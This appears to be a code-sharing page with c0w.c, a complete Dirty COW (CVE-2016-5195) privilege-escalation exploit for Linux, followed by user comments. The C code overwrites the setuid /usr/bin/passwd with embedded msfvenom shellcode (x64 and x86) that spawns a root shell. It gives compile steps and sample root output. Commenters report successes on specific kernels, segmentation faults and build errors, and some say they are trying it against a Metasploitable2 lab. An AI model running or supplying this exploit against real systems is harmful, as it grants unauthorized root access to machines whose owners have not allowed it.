PTRACE_POKEDATA variant of CVE-2016-5195

c0w.c

/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd 
* [root@server foo]# whoami 
* root
* [root@server foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg) {
  int i,c=0;
  for(i=0;i<200000000;i++)
    c+=madvise(map,100,MADV_DONTNEED);
  printf("madvise %d\n\n",c);
}


int main(int argc,char *argv[]){

  printf("                                \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", suid_binary);
  char *backup;
  printf("DirtyCow root privilege escalation\n");
  printf("Backing up %s to /tmp/bak\n", suid_binary);
  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f=open(suid_binary,O_RDONLY);
  fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pid=fork();
  if(pid){
    waitpid(pid,NULL,0);
    int u,i,o,c=0,l=sc_len;
    for(i=0;i<10000/l;i++)
      for(o=0;o<l;o++)
        for(u=0;u<10000;u++)
          c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
    printf("ptrace %d\n\n",c);
   }
  else{
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(),SIGSTOP);
    pthread_join(pth,NULL);
    }
  return 0;
}

Help,it does not work on Android device.

Does it cause system instabilities? see dirtycow/dirtycow.github.io#25

After running, why I execute /usr/bin/passwd it's changing passwd user ?

Sorry for the delay , to answer your questions 👍
1- This if or x86 machines , Android devices run on ARM processors
2- No instability faced while testing , of course no warranty given
3- this exploit overwrites /usr/bin/passwd with a root shell hence you have to run /us/bin/passwd once it's done .

Thanks!
I think I should have a try !

not found in my android /usr/bin/passwd
what to do

Thank you KrE80r.

This has worked perfectly in the below target machine:

Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux

There were couple of changes I had to made, which were intuitive enough:

• 1. [ ] Changing the SUID Binary filename to a file which the non privileged user has read access.
• 2. [ ] Change the shellcode to suit my 32 bit target machine

Regards,
Sourish

After the exploit finish i run /usr/bin/passwd and i get this message : Segmentation fault

uname -a : Linux ns1.xxx.com 2.6.32-573.26.1.el6.x86_64 #1 SMP Wed May 4 00:57:44 UTC 2016 x86_64

Any help ?
Thanks.

This is the error that i got:

/tmp/ccfbTOcY.o: In function main': c0w.c:(.text+0x261): undefined reference to pthread_create'
c0w.c:(.text+0x295): undefined reference to `pthread_join'
collect2: error: ld returned 1 exit status

Any suggestion Sir?

Same got Segmentation fault
Linux xxx 2.6.32-74-server #142-Ubuntu SMP Tue Apr 28 10:12:19 UTC 2015 x86_64 GNU/Linux

Hi can someone explain how this c0w.c works ??

Hi everyone. I am facing this issue while trying to run this executable
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./c0w)

Any idea of how to solve this, I will appreciate.

I am trying to make that work against metasploitable2 , the exploit didnt gave me any errors but when I run passwd, it says
cannot execute binary files. I am not getting root access? does anyone faced above issue